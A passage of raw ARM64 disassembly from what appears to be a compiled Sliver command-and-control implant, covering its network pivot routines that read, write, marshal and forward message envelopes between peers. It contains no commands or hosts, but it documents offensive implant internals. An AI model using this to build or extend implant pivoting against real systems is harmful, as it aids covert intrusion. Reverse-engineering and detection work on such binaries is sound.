    0042ce74b 0x42ce88
    0042ce78
    0042ce78loc_42ce78:
    0042ce78bl runtime.deferreturn
    0042ce7cldp x29, x30, [sp-8]
    0042ce80add sp, sp, 480
    0042ce84ret x30
    0042ce88
    0042ce88loc_42ce88:
    0042ce88stp xzr, xzr, [sp+224]
    0042ce8cadd x1, sp, 224
    0042ce90str x1, [sp+376]
    0042ce94ldr x1, [sp+488]
    0042ce98ldrsb x27, [x1]
    0042ce9cldr x1, [x1]
    0042cea0str x1, [sp+168]
    0042cea4ldr x0, [sp+168]
    0042cea8bl runtime.convT64
    0042ceacstr x0, [sp+368]
    0042ceb0ldr x1, [sp+376]
    0042ceb4ldrsb x27, [x1]
    0042ceb8adrp x2, 0x1c9000
    0042cebcadd x2, x2, 3392
    0042cec0str x2, [x1]
    0042cec4adrp x27, 0x61f000
    0042cec8ldr w2, [x27+3056]
    0042cecccbz w2, 0x42ced4
    0042ced0b 0x42ced8
    0042ced4
    0042ced4loc_42ced4:
    0042ced4b 0x42ceec
    0042ced8
    0042ced8loc_42ced8:
    0042ced8bl runtime.gcWriteBarrier2
    0042cedcstr x0, [x25]
    0042cee0ldr x5, [x1+8]
    0042cee4str x5, [x25+8]
    0042cee8b 0x42ceec
    0042ceec
    0042ceecloc_42ceec:
    0042ceecstr x0, [x1+8]
    0042cef0ldr x2, [sp+376]
    0042cef4ldrsb x27, [x2]
    0042cef8b 0x42cefc
    0042cefc
    0042cefcloc_42cefc:
    0042cefcstr x2, [sp+384]
    0042cf00orr x4, xzr, 1
    0042cf04str x4, [sp+392]
    0042cf08str x4, [sp+400]
    0042cf0cadrp x0, 0x2a0000
    0042cf10add x0, x0, 2645
    0042cf14movz x1, 61
    0042cf18mov x3, x4
    0042cf1cbl log.Printf
    0042cf20ldr x0, [sp+488]
    0042cf24bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID
    0042cf28str x0, [sp+56]
    0042cf2cbl runtime.convT64
    0042cf30str x0, [sp+360]
    0042cf34ldr x5, [sp+496]
    0042cf38ldr x4, [sp+488]
    0042cf3cadrp x1, 0x1c9000
    0042cf40add x1, x1, 3392
    0042cf44mov x2, x0
    0042cf48adrp x3, 0x254000
    0042cf4cadd x3, x3, 2080
    0042cf50mov x0, x5
    0042cf54bl sync.(*Map).Store
    0042cf58ldr x0, [sp+488]
    0042cf5cbl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).DownstreamPeerID
    0042cf60str x0, [sp+56]
    0042cf64ldr x5, [sp+496]
    0042cf68str x5, [sp+272]
    0042cf6cldr x5, [sp+56]
    0042cf70str x5, [sp+160]
    0042cf74adrp x5, 0x1c9000
    0042cf78add x5, x5, 3392
    0042cf7cstr x5, [sp+240]
    0042cf80add x5, sp, 160
    0042cf84str x5, [sp+248]
    0042cf88stp xzr, xzr, [sp+320]
    0042cf8cstp xzr, xzr, [sp+336]
    0042cf90add x5, sp, 320
    0042cf94str x5, [sp+352]
    0042cf98ldrsb x27, [x5]
    0042cf9cadrp x6, 4096
    0042cfa0add x6, x6, 2656
    0042cfa4str x6, [x5]
    0042cfa8ldrsb x27, [x5]
    0042cfacldr x6, [sp+272]
    0042cfb0adrp x27, 0x61f000
    0042cfb4ldr w7, [x27+3056]
    0042cfb8cbz w7, 0x42cfc0
    0042cfbcb 0x42cfc4
    0042cfc0
    0042cfc0loc_42cfc0:
    0042cfc0b 0x42cfd8
    0042cfc4
    0042cfc4loc_42cfc4:
    0042cfc4bl runtime.gcWriteBarrier2
    0042cfc8str x6, [x25]
    0042cfccldr x1, [x5+8]
    0042cfd0str x1, [x25+8]
    0042cfd4b 0x42cfd8
    0042cfd8
    0042cfd8loc_42cfd8:
    0042cfd8str x6, [x5+8]
    0042cfdcldrsb x27, [x5]
    0042cfe0ldr x1, [sp+248]
    0042cfe4ldr x2, [sp+240]
    0042cfe8str x2, [x5+16]
    0042cfecadrp x27, 0x61f000
    0042cff0ldr w2, [x27+3056]
    0042cff4cbz w2, 0x42cffc
    0042cff8b 0x42d000
    0042cffc
    0042cffcloc_42cffc:
    0042cffcb 0x42d014
    0042d000
    0042d000loc_42d000:
    0042d000bl runtime.gcWriteBarrier2
    0042d004str x1, [x25]
    0042d008ldr x2, [x5+24]
    0042d00cstr x2, [x25+8]
    0042d010b 0x42d014
    0042d014
    0042d014loc_42d014:
    0042d014str x1, [x5+24]
    0042d018ldr x1, [sp+352]
    0042d01cstr x1, [sp+88]
    0042d020add x0, sp, 64
    0042d024bl runtime.deferprocStack
    0042d028subs xzr, x0, 0
    0042d02cb.ne 0x42d0a8
    0042d030b 0x42d034
    0042d034
    0042d034loc_42d034:
    0042d034adrp x0, 0x204000
    0042d038add x0, x0, 4032
    0042d03cbl runtime.newobject
    0042d040str x0, [sp+312]
    0042d044adrp x1, 0
    0042d048add x1, x1, 720
    0042d04cstr x1, [x0]
    0042d050ldr x1, [sp+488]
    0042d054ldr x2, [sp+312]
    0042d058ldrsb x27, [x2]
    0042d05cadrp x27, 0x61e000
    0042d060ldr w3, [x27+3056]
    0042d064cbz w3, 0x42d06c
    0042d068b 0x42d070
    0042d06c
    0042d06cloc_42d06c:
    0042d06cb 0x42d084
    0042d070
    0042d070loc_42d070:
    0042d070bl runtime.gcWriteBarrier2
    0042d074str x1, [x25]
    0042d078ldr x3, [x2+8]
    0042d07cstr x3, [x25+8]
    0042d080b 0x42d084
    0042d084
    0042d084loc_42d084:
    0042d084str x1, [x2+8]
    0042d088ldr x0, [sp+312]
    0042d08cbl runtime.newproc
    0042d090ldr x1, [sp+488]
    0042d094ldrsb x27, [x1]
    0042d098ldr x1, [x1+72]
    0042d09cstr x1, [sp+216]
    0042d0a0str xzr, [sp+304]
    0042d0a4b 0x42d0c8
    0042d0a8
    0042d0a8loc_42d0a8:
    0042d0a8bl runtime.deferreturn
    0042d0acldp x29, x30, [sp-8]
    0042d0b0add sp, sp, 480
    0042d0b4ret x30
    0042d0b8
    0042d0b8loc_42d0b8:
    0042d0b8bl runtime.deferreturn
    0042d0bcldp x29, x30, [sp-8]
    0042d0c0add sp, sp, 480
    0042d0c4ret x30
    0042d0c8
    0042d0c8loc_42d0c8:
    0042d0c8ldr x0, [sp+216]
    0042d0ccadd x1, sp, 304
    0042d0d0bl runtime.chanrecv2
    0042d0d4strb w0, [sp+55]
    0042d0d8tbnz w0, 0, 0x42d0e0
    0042d0dcb 0x42d2ac
    0042d0e0
    0042d0e0loc_42d0e0:
    0042d0e0ldr x2, [sp+304]
    0042d0e4str x2, [sp+208]
    0042d0e8str xzr, [sp+304]
    0042d0ecldr x1, [sp+208]
    0042d0f0ldr x0, [sp+488]
    0042d0f4bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).writeEnvelope
    0042d0f8str x0, [sp+176]
    0042d0fcstr x1, [sp+184]
    0042d100cbnz x0, 0x42d108
    0042d104b 0x42d2a4
    0042d108
    0042d108loc_42d108:
    0042d108ldr x1, [sp+488]
    0042d10cldrsb x27, [x1]
    0042d110ldr x1, [x1]
    0042d114cbnz x1, 0x42d11c
    0042d118b 0x42d290
    0042d11c
    0042d11cloc_42d11c:
    0042d11cadrp x0, 0x250000
    0042d120add x0, x0, 3616
    0042d124bl runtime.newobject
    0042d128str x0, [sp+296]
    0042d12cadrp x27, 0x61e000
    0042d130ldr w1, [x27+3056]
    0042d134cbz w1, 0x42d13c
    0042d138b 0x42d140
    0042d13c
    0042d13cloc_42d13c:
    0042d13cb 0x42d15c
    0042d140
    0042d140loc_42d140:
    0042d140str x0, [sp+264]
    0042d144mov x1, x0
    0042d148adrp x0, 0x250000
    0042d14cadd x0, x0, 3616
    0042d150bl runtime.wbZero
    0042d154ldr x0, [sp+264]
    0042d158b 0x42d15c
    0042d15c
    0042d15cloc_42d15c:
    0042d15cstp xzr, xzr, [x0]
    0042d160stp xzr, xzr, [x0+16]
    0042d164stp xzr, xzr, [x0+32]
    0042d168stp xzr, xzr, [x0+48]
    0042d16cstr xzr, [x0+64]
    0042d170ldr x2, [sp+296]
    0042d174ldrsb x27, [x2]
    0042d178orr x3, xzr, 1
    0042d17cstr w3, [x2+16]
    0042d180ldr x2, [sp+296]
    0042d184ldrsb x27, [x2]
    0042d188ldr x3, [sp+488]
    0042d18cldrsb x27, [x3]
    0042d190ldr x3, [x3]
    0042d194str x3, [x2+8]
    0042d198ldr x1, [sp+296]
    0042d19cstr x1, [sp+464]
    0042d1a0adrp x0, 0x2e6000
    0042d1a4add x0, x0, 3168
    0042d1a8bl github.com/bishopfox/sliver/implant/sliver/pivots.mustMarshal
    0042d1acstr x0, [sp+440]
    0042d1b0str x1, [sp+448]
    0042d1b4str x2, [sp+456]
    0042d1b8adrp x0, 0x257000
    0042d1bcadd x0, x0, 2848
    0042d1c0bl runtime.newobject
    0042d1c4str x0, [sp+288]
    0042d1c8adrp x27, 0x61e000
    0042d1ccldr w2, [x27+3056]
    0042d1d0cbz w2, 0x42d1d8
    0042d1d4b 0x42d1dc
    0042d1d8
    0042d1d8loc_42d1d8:
    0042d1d8b 0x42d1f8
    0042d1dc
    0042d1dcloc_42d1dc:
    0042d1dcstr x0, [sp+256]
    0042d1e0mov x1, x0
    0042d1e4adrp x0, 0x257000
    0042d1e8add x0, x0, 2848
    0042d1ecbl runtime.wbZero
    0042d1f0ldr x0, [sp+256]
    0042d1f4b 0x42d1f8
    0042d1f8
    0042d1f8loc_42d1f8:
    0042d1f8mov x20, x0
    0042d1fcadr x27, 16
    0042d200stp x29, x27, [sp-24]
    0042d204sub x29, sp, 24
    0042d208bl fn_87cfc
    0042d20csub x29, sp, 8
    0042d210str xzr, [x0+80]
    0042d214ldr x2, [sp+288]
    0042d218ldrsb x27, [x2]
    0042d21cmovz x3, 58
    0042d220str w3, [x2+16]
    0042d224ldr x2, [sp+288]
    0042d228ldrsb x27, [x2]
    0042d22cldr x3, [sp+440]
    0042d230ldr x4, [sp+448]
    0042d234ldr x5, [sp+456]
    0042d238str x4, [x2+32]
    0042d23cstr x5, [x2+40]
    0042d240adrp x27, 0x61e000
    0042d244ldr w4, [x27+3056]
    0042d248cbz w4, 0x42d250
    0042d24cb 0x42d254
    0042d250
    0042d250loc_42d250:
    0042d250b 0x42d268
    0042d254
    0042d254loc_42d254:
    0042d254bl runtime.gcWriteBarrier2
    0042d258str x3, [x25]
    0042d25cldr x4, [x2+24]
    0042d260str x4, [x25+8]
    0042d264b 0x42d268
    0042d268
    0042d268loc_42d268:
    0042d268str x3, [x2+24]
    0042d26cldr x2, [sp+288]
    0042d270str x2, [sp+432]
    0042d274ldr x2, [sp+488]
    0042d278ldrsb x27, [x2]
    0042d27cldr x0, [x2+64]
    0042d280str x0, [sp+280]
    0042d284add x1, sp, 432
    0042d288bl runtime.chansend1
    0042d28cb 0x42d294
    0042d290
    0042d290loc_42d290:
    0042d290b 0x42d294
    0042d294
    0042d294loc_42d294:
    0042d294bl runtime.deferreturn
    0042d298ldp x29, x30, [sp-8]
    0042d29cadd sp, sp, 480
    0042d2a0ret x30
    0042d2a4
    0042d2a4loc_42d2a4:
    0042d2a4b 0x42d2a8
    0042d2a8
    0042d2a8loc_42d2a8:
    0042d2a8b 0x42d0c8
    0042d2ac
    0042d2acloc_42d2ac:
    0042d2acbl runtime.deferreturn
    0042d2b0ldp x29, x30, [sp-8]
    0042d2b4add sp, sp, 480
    0042d2b8ret x30
    0042d2bc
    0042d2bcloc_42d2bc:
    0042d2bcstp x0, x1, [sp+8]
    0042d2c0mov x3, x30
    0042d2c4bl runtime.morestack_noctxt.abi0
    0042d2c8ldp x0, x1, [sp+8]
    0042d2ccb 0x42cdd0
    0042cdd0
    0042d2d0
    0042d2d0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2(void)
    0042d2d0ldr x16, [x28+16]
    0042d2d4sub x17, sp, 480
    0042d2d8subs xzr, x17, x16
    0042d2dcb.ls 0x42d9ec
    0042d2e0sub x20, sp, 608
    0042d2e4stp x29, x30, [x20-8]
    0042d2e8add sp, x20, 0
    0042d2ecsub x29, sp, 8
    0042d2f0ldr x1, [x26+8]
    0042d2f4str x1, [sp+152]
    0042d2f8ldrsb x27, [x1]
    0042d2fcldr x1, [x1+72]
    0042d300str x1, [sp+592]
    0042d304stp xzr, xzr, [sp+504]
    0042d308add x1, sp, 504
    0042d30cstr x1, [sp+520]
    0042d310ldrsb x27, [x1]
    0042d314adrp x2, 0
    0042d318add x2, x2, 2560
    0042d31cstr x2, [x1]
    0042d320ldrsb x27, [x1]
    0042d324ldr x2, [sp+592]
    0042d328adrp x27, 0x61e000
    0042d32cldr w3, [x27+3056]
    0042d330cbz w3, 0x42d338
    0042d334b 0x42d33c
    0042d338
    0042d338loc_42d338:
    0042d338b 0x42d350
    0042d33c
    0042d33cloc_42d33c:
    0042d33cbl runtime.gcWriteBarrier2
    0042d340str x2, [x25]
    0042d344ldr x3, [x1+8]
    0042d348str x3, [x25+8]
    0042d34cb 0x42d350
    0042d350
    0042d350loc_42d350:
    0042d350str x2, [x1+8]
    0042d354str x1, [sp+120]
    0042d358add x0, sp, 96
    0042d35cbl runtime.deferprocStack
    0042d360subs xzr, x0, 0
    0042d364b.ne 0x42d370
    0042d368b 0x42d36c
    0042d36c
    0042d36cloc_42d36c:
    0042d36cb 0x42d380
    0042d370
    0042d370loc_42d370:
    0042d370bl runtime.deferreturn
    0042d374ldp x29, x30, [sp-8]
    0042d378add sp, sp, 608
    0042d37cret x30
    0042d380
    0042d380loc_42d380:
    0042d380b 0x42d384
    0042d384
    0042d384loc_42d384:
    0042d384str xzr, [sp+200]
    0042d388add x27, sp, 576
    0042d38cstp xzr, xzr, [x27]
    0042d390ldr x0, [sp+152]
    0042d394bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).readEnvelope
    0042d398str x0, [sp+200]
    0042d39cstr x1, [sp+576]
    0042d3a0str x2, [sp+584]
    0042d3a4ldr x1, [sp+200]
    0042d3a8str x1, [sp+336]
    0042d3acldr x1, [sp+576]
    0042d3b0ldr x2, [sp+584]
    0042d3b4str x1, [sp+248]
    0042d3b8str x2, [sp+256]
    0042d3bcldr x1, [sp+336]
    0042d3c0str x1, [sp+192]
    0042d3c4ldr x1, [sp+256]
    0042d3c8ldr x2, [sp+248]
    0042d3ccstr x2, [sp+176]
    0042d3d0str x1, [sp+184]
    0042d3d4cbnz x2, 0x42d3dc
    0042d3d8b 0x42d3ec
    0042d3dc
    0042d3dcloc_42d3dc:
    0042d3dcbl runtime.deferreturn
    0042d3e0ldp x29, x30, [sp-8]
    0042d3e4add sp, sp, 608
    0042d3e8ret x30
    0042d3ec
    0042d3ecloc_42d3ec:
    0042d3ecldr x5, [sp+192]
    0042d3f0ldrsb x27, [x5]
    0042d3f4ldr w5, [x5+16]
    0042d3f8subs wzr, w5, 54
    0042d3fcb.eq 0x42d404
    0042d400b 0x42d504
    0042d404
    0042d404loc_42d404:
    0042d404adrp x0, 0x29b000
    0042d408add x0, x0, 3533
    0042d40cmovz x1, 49
    0042d410mov x2, xzr
    0042d414mov x3, xzr
    0042d418mov x4, x3
    0042d41cbl log.Printf
    0042d420adrp x0, 0x257000
    0042d424add x0, x0, 2848
    0042d428bl runtime.newobject
    0042d42cstr x0, [sp+496]
    0042d430adrp x27, 0x61e000
    0042d434ldr w5, [x27+3056]
    0042d438cbz w5, 0x42d440
    0042d43cb 0x42d444
    0042d440
    0042d440loc_42d440:
    0042d440b 0x42d460
    0042d444
    0042d444loc_42d444:
    0042d444str x0, [sp+280]
    0042d448mov x1, x0
    0042d44cadrp x0, 0x257000
    0042d450add x0, x0, 2848
    0042d454bl runtime.wbZero
    0042d458ldr x0, [sp+280]
    0042d45cb 0x42d460
    0042d460
    0042d460loc_42d460:
    0042d460mov x20, x0
    0042d464adr x27, 16
    0042d468stp x29, x27, [sp-24]
    0042d46csub x29, sp, 24
    0042d470bl fn_87cfc
    0042d474sub x29, sp, 8
    0042d478str xzr, [x0+80]
    0042d47cldr x2, [sp+496]
    0042d480ldrsb x27, [x2]
    0042d484movz x3, 54
    0042d488str w3, [x2+16]
    0042d48cldr x2, [sp+496]
    0042d490ldrsb x27, [x2]
    0042d494ldr x4, [sp+192]
    0042d498ldrsb x27, [x4]
    0042d49cldr x5, [x4+24]
    0042d4a0ldr x6, [x4+40]
    0042d4a4ldr x4, [x4+32]
    0042d4a8str x4, [x2+32]
    0042d4acstr x6, [x2+40]
    0042d4b0adrp x27, 0x61e000
    0042d4b4ldr w4, [x27+3056]
    0042d4b8cbz w4, 0x42d4c0
    0042d4bcb 0x42d4c4
    0042d4c0
    0042d4c0loc_42d4c0:
    0042d4c0b 0x42d4d8
    0042d4c4
    0042d4c4loc_42d4c4:
    0042d4c4bl runtime.gcWriteBarrier2
    0042d4c8str x5, [x25]
    0042d4ccldr x4, [x2+24]
    0042d4d0str x4, [x25+8]
    0042d4d4b 0x42d4d8
    0042d4d8
    0042d4d8loc_42d4d8:
    0042d4d8str x5, [x2+24]
    0042d4dcldr x2, [sp+496]
    0042d4e0str x2, [sp+200]
    0042d4e4ldr x2, [sp+152]
    0042d4e8ldrsb x27, [x2]
    0042d4ecldr x2, [x2+72]
    0042d4f0str x2, [sp+488]
    0042d4f4ldr x0, [sp+488]
    0042d4f8add x1, sp, 200
    0042d4fcbl runtime.chansend1
    0042d500b 0x42d948
    0042d504
    0042d504loc_42d504:
    0042d504ldr x1, [sp+192]
    0042d508ldrsb x27, [x1]
    0042d50cldr w1, [x1+16]
    0042d510subs wzr, w1, 57
    0042d514b.eq 0x42d51c
    0042d518b 0x42d94c
    0042d51c
    0042d51cloc_42d51c:
    0042d51cadd x27, sp, 560
    0042d520stp xzr, xzr, [x27]
    0042d524add x1, sp, 560
    0042d528str x1, [sp+456]
    0042d52cldr x1, [sp+192]
    0042d530ldrsb x27, [x1]
    0042d534ldr w0, [x1+16]
    0042d538str w0, [sp+92]
    0042d53cbl runtime.convT32
    0042d540str x0, [sp+448]
    0042d544ldr x1, [sp+456]
    0042d548ldrsb x27, [x1]
    0042d54cadrp x2, 0x1c8000
    0042d550add x2, x2, 3328
    0042d554str x2, [x1]
    0042d558adrp x27, 0x61e000
    0042d55cldr w2, [x27+3056]
    0042d560cbz w2, 0x42d568
    0042d564b 0x42d56c
    0042d568
    0042d568loc_42d568:
    0042d568b 0x42d580
    0042d56c
    0042d56cloc_42d56c:
    0042d56cbl runtime.gcWriteBarrier2
    0042d570str x0, [x25]
    0042d574ldr x5, [x1+8]
    0042d578str x5, [x25+8]
    0042d57cb 0x42d580
    0042d580
    0042d580loc_42d580:
    0042d580str x0, [x1+8]
    0042d584ldr x2, [sp+456]
    0042d588ldrsb x27, [x2]
    0042d58cb 0x42d590
    0042d590
    0042d590loc_42d590:
    0042d590str x2, [sp+464]
    0042d594orr x4, xzr, 1
    0042d598str x4, [sp+472]
    0042d59cstr x4, [sp+480]
    0042d5a0adrp x0, 0x29c000
    0042d5a4add x0, x0, 3899
    0042d5a8movz x1, 52
    0042d5acmov x3, x4
    0042d5b0bl log.Printf
    0042d5b4adrp x0, 0x25e000
    0042d5b8add x0, x0, 96
    0042d5bcbl runtime.newobject
    0042d5c0str x0, [sp+440]
    0042d5c4adrp x27, 0x61e000
    0042d5c8ldr w5, [x27+3056]
    0042d5cccbz w5, 0x42d5d4
    0042d5d0b 0x42d5d8
    0042d5d4
    0042d5d4loc_42d5d4:
    0042d5d4b 0x42d5f4
    0042d5d8
    0042d5d8loc_42d5d8:
    0042d5d8str x0, [sp+272]
    0042d5dcmov x1, x0
    0042d5e0adrp x0, 0x25e000
    0042d5e4add x0, x0, 96
    0042d5e8bl runtime.wbZero
    0042d5ecldr x0, [sp+272]
    0042d5f0b 0x42d5f4
    0042d5f4
    0042d5f4loc_42d5f4:
    0042d5f4mov x20, x0
    0042d5f8adr x27, 16
    0042d5fcstp x29, x27, [sp-24]
    0042d600sub x29, sp, 24
    0042d604bl fn_87cf0
    0042d608sub x29, sp, 8
    0042d60cldr x5, [sp+440]
    0042d610str x5, [sp+144]
    0042d614str x5, [sp+552]
    0042d618ldr x5, [sp+192]
    0042d61cldrsb x27, [x5]
    0042d620ldr x0, [x5+24]
    0042d624ldr x1, [x5+32]
    0042d628ldr x2, [x5+40]
    0042d62cstr x0, [sp+416]
    0042d630str x1, [sp+424]
    0042d634str x2, [sp+432]
    0042d638ldr x4, [sp+552]
    0042d63cadrp x3, 0x2e7000
    0042d640add x3, x3, 1248
    0042d644bl google.golang.org/protobuf/proto.Unmarshal
    0042d648str x0, [sp+160]
    0042d64cstr x1, [sp+168]
    0042d650cbnz x0, 0x42d658
    0042d654b 0x42d710
    0042d658
    0042d658loc_42d658:
    0042d658add x27, sp, 560
    0042d65cstp xzr, xzr, [x27]
    0042d660add x5, sp, 560
    0042d664str x5, [sp+384]
    0042d668ldr x5, [sp+160]
    0042d66cldr x6, [sp+168]
    0042d670str x5, [sp+368]
    0042d674str x6, [sp+376]
    0042d678str x5, [sp+360]
    0042d67cldr x5, [sp+360]
    0042d680cbnz x5, 0x42d688
    0042d684b 0x42d698
    0042d688
    0042d688loc_42d688:
    0042d688ldr x5, [sp+360]
    0042d68cldr x5, [x5+8]
    0042d690str x5, [sp+360]
    0042d694b 0x42d69c
    0042d698
    0042d698loc_42d698:
    0042d698b 0x42d69c
    0042d69c
    0042d69cloc_42d69c:
    0042d69cldr x5, [sp+384]
    0042d6a0ldrsb x27, [x5]
    0042d6a4ldr x6, [sp+360]
    0042d6a8ldr x7, [sp+376]
    0042d6acstr x6, [x5]
    0042d6b0adrp x27, 0x61e000
    0042d6b4ldr w6, [x27+3056]
    0042d6b8cbz w6, 0x42d6c0
    0042d6bcb 0x42d6c4
    0042d6c0
    0042d6c0loc_42d6c0:
    0042d6c0b 0x42d6d8
    0042d6c4
    0042d6c4loc_42d6c4:
    0042d6c4bl runtime.gcWriteBarrier2
    0042d6c8str x7, [x25]
    0042d6ccldr x6, [x5+8]
    0042d6d0str x6, [x25+8]
    0042d6d4b 0x42d6d8
    0042d6d8
    0042d6d8loc_42d6d8:
    0042d6d8str x7, [x5+8]
    0042d6dcldr x2, [sp+384]
    0042d6e0ldrsb x27, [x2]
    0042d6e4b 0x42d6e8
    0042d6e8
    0042d6e8loc_42d6e8:
    0042d6e8str x2, [sp+392]
    0042d6ecorr x4, xzr, 1
    0042d6f0str x4, [sp+400]
    0042d6f4str x4, [sp+408]
    0042d6f8adrp x0, 0x29a000
    0042d6fcadd x0, x0, 1399
    0042d700movz x1, 46
    0042d704mov x3, x4
    0042d708bl log.Printf
    0042d70cb 0x42d9e8
    0042d710
    0042d710loc_42d710:
    0042d710adrp x0, 0x246000
    0042d714add x0, x0, 320
    0042d718bl runtime.newobject
    0042d71cstr x0, [sp+344]
    0042d720adrp x27, 0x61e000
    0042d724ldr w1, [x27+3056]
    0042d728cbz w1, 0x42d730
    0042d72cb 0x42d734
    0042d730
    0042d730loc_42d730:
    0042d730b 0x42d750
    0042d734
    0042d734loc_42d734:
    0042d734str x0, [sp+264]
    0042d738mov x1, x0
    0042d73cadrp x0, 0x246000
    0042d740add x0, x0, 320
    0042d744bl runtime.wbZero
    0042d748ldr x0, [sp+264]
    0042d74cb 0x42d750
    0042d750
    0042d750loc_42d750:
    0042d750stp xzr, xzr, [x0]
    0042d754stp xzr, xzr, [x0+16]
    0042d758stp xzr, xzr, [x0+32]
    0042d75cstp xzr, xzr, [x0+48]
    0042d760ldr x5, [sp+344]
    0042d764ldrsb x27, [x5]
    0042d768adrp x27, 0x61e000
    0042d76cldr x6, [x27+2144]
    0042d770str x6, [x5+8]
    0042d774ldr x5, [sp+344]
    0042d778ldrsb x27, [x5]
    0042d77cadrp x27, 0x5e0000
    0042d780ldr x6, [x27+2528]
    0042d784adrp x27, 0x5e0000
    0042d788ldr x7, [x27+2536]
    0042d78cstr x7, [x5+24]
    0042d790adrp x27, 0x61e000
    0042d794ldr w7, [x27+3056]
    0042d798cbz w7, 0x42d7a0
    0042d79cb 0x42d7a4
    0042d7a0
    0042d7a0loc_42d7a0:
    0042d7a0b 0x42d7b8
    0042d7a4
    0042d7a4loc_42d7a4:
    0042d7a4bl runtime.gcWriteBarrier2
    0042d7a8str x6, [x25]
    0042d7acldr x7, [x5+16]
    0042d7b0str x7, [x25+8]
    0042d7b4b 0x42d7b8
    0042d7b8
    0042d7b8loc_42d7b8:
    0042d7b8str x6, [x5+16]
    0042d7bcldr x5, [sp+344]
    0042d7c0str x5, [sp+352]
    0042d7c4ldr x5, [sp+144]
    0042d7c8ldrsb x27, [x5]
    0042d7ccldr x2, [x5+24]
    0042d7d0ldr x0, [x5+8]
    0042d7d4ldr x5, [x5+16]
    0042d7d8add x1, x5, 1
    0042d7dcsubs xzr, x2, x1
    0042d7e0b.hs 0x42d7e8
    0042d7e4b 0x42d7ec
    0042d7e8
    0042d7e8loc_42d7e8:
    0042d7e8b 0x42d800
    0042d7ec
    0042d7ecloc_42d7ec:
    0042d7ecorr x3, xzr, 1
    0042d7f0adrp x4, 0x233000
    0042d7f4add x4, x4, 544
    0042d7f8bl runtime.growslice
    0042d7fcb 0x42d800
    0042d800
    0042d800loc_42d800:
    0042d800sub x3, x1, 1
    0042d804ldr x4, [sp+352]
    0042d808adrp x27, 0x61e000
    0042d80cldr w5, [x27+3056]
    0042d810cbz w5, 0x42d818
    0042d814b 0x42d81c
    0042d818
    0042d818loc_42d818:
    0042d818b 0x42d830
    0042d81c
    0042d81cloc_42d81c:
    0042d81cbl runtime.gcWriteBarrier2
    0042d820str x4, [x25]
    0042d824ldr x5, [x0+3*x3]
    0042d828str x5, [x25+8]
    0042d82cb 0x42d830
    0042d830
    0042d830loc_42d830:
    0042d830str x4, [x0+3*x3]
    0042d834ldr x3, [sp+144]
    0042d838ldrsb x27, [x3]
    0042d83cstr x1, [x3+16]
    0042d840str x2, [x3+24]
    0042d844adrp x27, 0x61e000
    0042d848ldr w2, [x27+3056]
    0042d84ccbz w2, 0x42d854
    0042d850b 0x42d858
    0042d854
    0042d854loc_42d854:
    0042d854b 0x42d86c
    0042d858
    0042d858loc_42d858:
    0042d858bl runtime.gcWriteBarrier2
    0042d85cstr x0, [x25]
    0042d860ldr x2, [x3+8]
    0042d864str x2, [x25+8]
    0042d868b 0x42d86c
    0042d86c
    0042d86cloc_42d86c:
    0042d86cstr x0, [x3+8]
    0042d870ldr x2, [sp+144]
    0042d874str x2, [sp+552]
    0042d878add x27, sp, 528
    0042d87cstp xzr, xzr, [x27]
    0042d880str xzr, [sp+544]
    0042d884add x27, sp, 576
    0042d888stp xzr, xzr, [x27]
    0042d88cldr x1, [sp+552]
    0042d890adrp x0, 0x2e7000
    0042d894add x0, x0, 1248
    0042d898bl google.golang.org/protobuf/proto.Marshal
    0042d89cstr x0, [sp+528]
    0042d8a0str x1, [sp+536]
    0042d8a4str x2, [sp+544]
    0042d8a8str x3, [sp+576]
    0042d8acstr x4, [sp+584]
    0042d8b0ldr x2, [sp+528]
    0042d8b4ldr x3, [sp+536]
    0042d8b8ldr x4, [sp+544]
    0042d8bcstr x2, [sp+224]
    0042d8c0str x3, [sp+232]
    0042d8c4str x4, [sp+240]
    0042d8c8ldr x2, [sp+576]
    0042d8ccldr x3, [sp+584]
    0042d8d0str x2, [sp+208]
    0042d8d4str x3, [sp+216]
    0042d8d8ldr x2, [sp+192]
    0042d8dcldrsb x27, [x2]
    0042d8e0ldr x3, [sp+224]
    0042d8e4ldr x4, [sp+232]
    0042d8e8ldr x5, [sp+240]
    0042d8ecstr x4, [x2+32]
    0042d8f0str x5, [x2+40]
    0042d8f4adrp x27, 0x61e000
    0042d8f8ldr w4, [x27+3056]
    0042d8fccbz w4, 0x42d904
    0042d900b 0x42d908
    0042d904
    0042d904loc_42d904:
    0042d904b 0x42d91c
    0042d908
    0042d908loc_42d908:
    0042d908bl runtime.gcWriteBarrier2
    0042d90cstr x3, [x25]
    0042d910ldr x4, [x2+24]
    0042d914str x4, [x25+8]
    0042d918b 0x42d91c
    0042d91c
    0042d91cloc_42d91c:
    0042d91cstr x3, [x2+24]
    0042d920ldr x2, [sp+192]
    0042d924str x2, [sp+200]
    0042d928ldr x2, [sp+152]
    0042d92cldrsb x27, [x2]
    0042d930ldr x0, [x2+64]
    0042d934str x0, [sp+328]
    0042d938add x1, sp, 200
    0042d93cbl runtime.chansend1
    0042d940b 0x42d944
    0042d944
    0042d944loc_42d944:
    0042d944b 0x42d948
    0042d948
    0042d948loc_42d948:
    0042d948b 0x42d9e8
    0042d94c
    0042d94cloc_42d94c:
    0042d94cadd x27, sp, 560
    0042d950stp xzr, xzr, [x27]
    0042d954add x1, sp, 560
    0042d958str x1, [sp+296]
    0042d95cldr x1, [sp+192]
    0042d960ldrsb x27, [x1]
    0042d964ldr w0, [x1+16]
    0042d968str w0, [sp+88]
    0042d96cbl runtime.convT32
    0042d970str x0, [sp+288]
    0042d974ldr x1, [sp+296]
    0042d978ldrsb x27, [x1]
    0042d97cadrp x2, 0x1c8000
    0042d980add x2, x2, 3328
    0042d984str x2, [x1]
    0042d988adrp x27, 0x61e000
    0042d98cldr w2, [x27+3056]
    0042d990cbz w2, 0x42d998
    0042d994b 0x42d99c
    0042d998
    0042d998loc_42d998:
    0042d998b 0x42d9b0
    0042d99c
    0042d99cloc_42d99c:
    0042d99cbl runtime.gcWriteBarrier2
    0042d9a0str x0, [x25]
    0042d9a4ldr x5, [x1+8]
    0042d9a8str x5, [x25+8]
    0042d9acb 0x42d9b0
    0042d9b0
    0042d9b0loc_42d9b0:
    0042d9b0str x0, [x1+8]
    0042d9b4ldr x2, [sp+296]
